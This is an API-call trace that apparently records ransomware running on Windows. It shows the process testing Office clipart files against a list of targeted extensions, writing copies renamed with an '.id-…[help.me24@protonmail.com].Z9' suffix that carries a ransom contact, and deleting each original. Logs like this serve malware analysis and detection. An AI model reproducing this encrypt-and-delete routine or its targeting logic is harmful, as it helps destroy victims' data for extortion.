	[0085.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.601] lstrlenW (lpString=".jpg") returned 4
	[0085.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.601] lstrlenW (lpString=".doc") returned 4
	[0085.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.601] lstrlenW (lpString=".docx") returned 5
	[0085.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.601] lstrlenW (lpString=".pdf") returned 4
	[0085.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.601] lstrlenW (lpString=".xls") returned 4
	[0085.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.601] lstrlenW (lpString=".xlsx") returned 5
	[0085.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.601] lstrlenW (lpString=".ppt") returned 4
	[0085.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.601] lstrlenW (lpString=".zip") returned 4
	[0085.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.601] lstrlenW (lpString=".rar") returned 4
	[0085.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.601] lstrlenW (lpString=".bz2") returned 4
	[0085.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.601] lstrlenW (lpString=".7z") returned 3
	[0085.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.602] lstrlenW (lpString=".dbf") returned 4
	[0085.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.602] lstrlenW (lpString=".1cd") returned 4
	[0085.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0085.602] lstrlenW (lpString=".jpg") returned 4
	[0085.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.602] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.602] lstrlenW (lpString="BL00265_.WMF") returned 12
	[0085.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.603] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5752) returned 1
	[0085.603] CloseHandle (hObject=0x39c) returned 1
	[0085.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220
	[0085.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.603] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.604] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.604] GetLastError () returned 0x0
	[0085.604] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1678, lpOverlapped=0x0) returned 1
	[0085.606] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1680, lpOverlapped=0x0) returned 1
	[0085.607] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.607] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.607] SetEndOfFile (hFile=0x324) returned 1
	[0085.607] CloseHandle (hObject=0x324) returned 1
	[0085.608] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.608] SetEndOfFile (hFile=0x39c) returned 1
	[0085.609] CloseHandle (hObject=0x39c) returned 1
	[0085.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1
	[0085.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.610] lstrlenW (lpString=".doc") returned 4
	[0085.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.610] lstrlenW (lpString=".docx") returned 5
	[0085.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.610] lstrlenW (lpString=".pdf") returned 4
	[0085.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.610] lstrlenW (lpString=".xls") returned 4
	[0085.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.610] lstrlenW (lpString=".xlsx") returned 5
	[0085.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.610] lstrlenW (lpString=".ppt") returned 4
	[0085.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.610] lstrlenW (lpString=".zip") returned 4
	[0085.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.610] lstrlenW (lpString=".rar") returned 4
	[0085.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.610] lstrlenW (lpString=".bz2") returned 4
	[0085.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.610] lstrlenW (lpString=".7z") returned 3
	[0085.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.610] lstrlenW (lpString=".dbf") returned 4
	[0085.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.610] lstrlenW (lpString=".1cd") returned 4
	[0085.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.610] lstrlenW (lpString=".jpg") returned 4
	[0085.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.611] lstrlenW (lpString=".doc") returned 4
	[0085.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.611] lstrlenW (lpString=".docx") returned 5
	[0085.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.611] lstrlenW (lpString=".pdf") returned 4
	[0085.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.611] lstrlenW (lpString=".xls") returned 4
	[0085.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.611] lstrlenW (lpString=".xlsx") returned 5
	[0085.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.611] lstrlenW (lpString=".ppt") returned 4
	[0085.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.611] lstrlenW (lpString=".zip") returned 4
	[0085.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.611] lstrlenW (lpString=".rar") returned 4
	[0085.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.611] lstrlenW (lpString=".bz2") returned 4
	[0085.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.611] lstrlenW (lpString=".7z") returned 3
	[0085.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.611] lstrlenW (lpString=".dbf") returned 4
	[0085.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.611] lstrlenW (lpString=".1cd") returned 4
	[0085.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0085.611] lstrlenW (lpString=".jpg") returned 4
	[0085.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.612] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.612] lstrlenW (lpString="BL00267_.WMF") returned 12
	[0085.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.612] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2644) returned 1
	[0085.612] CloseHandle (hObject=0x39c) returned 1
	[0085.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220
	[0085.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.612] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.612] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.613] GetLastError () returned 0x0
	[0085.613] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xa54, lpOverlapped=0x0) returned 1
	[0085.615] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xa60, lpOverlapped=0x0) returned 1
	[0085.616] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.616] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.617] SetEndOfFile (hFile=0x324) returned 1
	[0085.617] CloseHandle (hObject=0x324) returned 1
	[0085.618] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.618] SetEndOfFile (hFile=0x39c) returned 1
	[0085.618] CloseHandle (hObject=0x39c) returned 1
	[0085.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1
	[0085.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.619] lstrlenW (lpString=".doc") returned 4
	[0085.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.619] lstrlenW (lpString=".docx") returned 5
	[0085.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.619] lstrlenW (lpString=".pdf") returned 4
	[0085.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.619] lstrlenW (lpString=".xls") returned 4
	[0085.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.619] lstrlenW (lpString=".xlsx") returned 5
	[0085.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.619] lstrlenW (lpString=".ppt") returned 4
	[0085.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.619] lstrlenW (lpString=".zip") returned 4
	[0085.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.619] lstrlenW (lpString=".rar") returned 4
	[0085.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.619] lstrlenW (lpString=".bz2") returned 4
	[0085.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.620] lstrlenW (lpString=".7z") returned 3
	[0085.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.620] lstrlenW (lpString=".dbf") returned 4
	[0085.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.620] lstrlenW (lpString=".1cd") returned 4
	[0085.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.620] lstrlenW (lpString=".jpg") returned 4
	[0085.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.620] lstrlenW (lpString=".doc") returned 4
	[0085.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.620] lstrlenW (lpString=".docx") returned 5
	[0085.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.620] lstrlenW (lpString=".pdf") returned 4
	[0085.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.620] lstrlenW (lpString=".xls") returned 4
	[0085.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.620] lstrlenW (lpString=".xlsx") returned 5
	[0085.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.620] lstrlenW (lpString=".ppt") returned 4
	[0085.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.620] lstrlenW (lpString=".zip") returned 4
	[0085.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.620] lstrlenW (lpString=".rar") returned 4
	[0085.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.620] lstrlenW (lpString=".bz2") returned 4
	[0085.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.620] lstrlenW (lpString=".7z") returned 3
	[0085.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.621] lstrlenW (lpString=".dbf") returned 4
	[0085.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.621] lstrlenW (lpString=".1cd") returned 4
	[0085.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0085.621] lstrlenW (lpString=".jpg") returned 4
	[0085.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.621] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.621] lstrlenW (lpString="BL00269_.WMF") returned 12
	[0085.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.621] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5272) returned 1
	[0085.621] CloseHandle (hObject=0x39c) returned 1
	[0085.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220
	[0085.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.622] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.622] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0085.622] GetLastError () returned 0x0
	[0085.622] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1498, lpOverlapped=0x0) returned 1
	[0085.994] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0085.995] ReadFile (in: hFile=0x39c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.996] WriteFile (in: hFile=0x324, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.996] SetEndOfFile (hFile=0x324) returned 1
	[0085.996] CloseHandle (hObject=0x324) returned 1
	[0085.998] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.998] SetEndOfFile (hFile=0x39c) returned 1
	[0085.998] CloseHandle (hObject=0x39c) returned 1
	[0085.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1
	[0085.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0085.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0085.999] lstrlenW (lpString=".doc") returned 4
	[0085.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.999] lstrlenW (lpString=".docx") returned 5
	[0085.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.999] lstrlenW (lpString=".pdf") returned 4
	[0085.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.999] lstrlenW (lpString=".xls") returned 4
	[0085.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.999] lstrlenW (lpString=".xlsx") returned 5
	[0085.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.999] lstrlenW (lpString=".ppt") returned 4
	[0085.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.000] lstrlenW (lpString=".zip") returned 4
	[0086.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.000] lstrlenW (lpString=".rar") returned 4
	[0086.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.000] lstrlenW (lpString=".bz2") returned 4
	[0086.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.000] lstrlenW (lpString=".7z") returned 3
	[0086.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0086.000] lstrlenW (lpString=".dbf") returned 4
	[0086.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
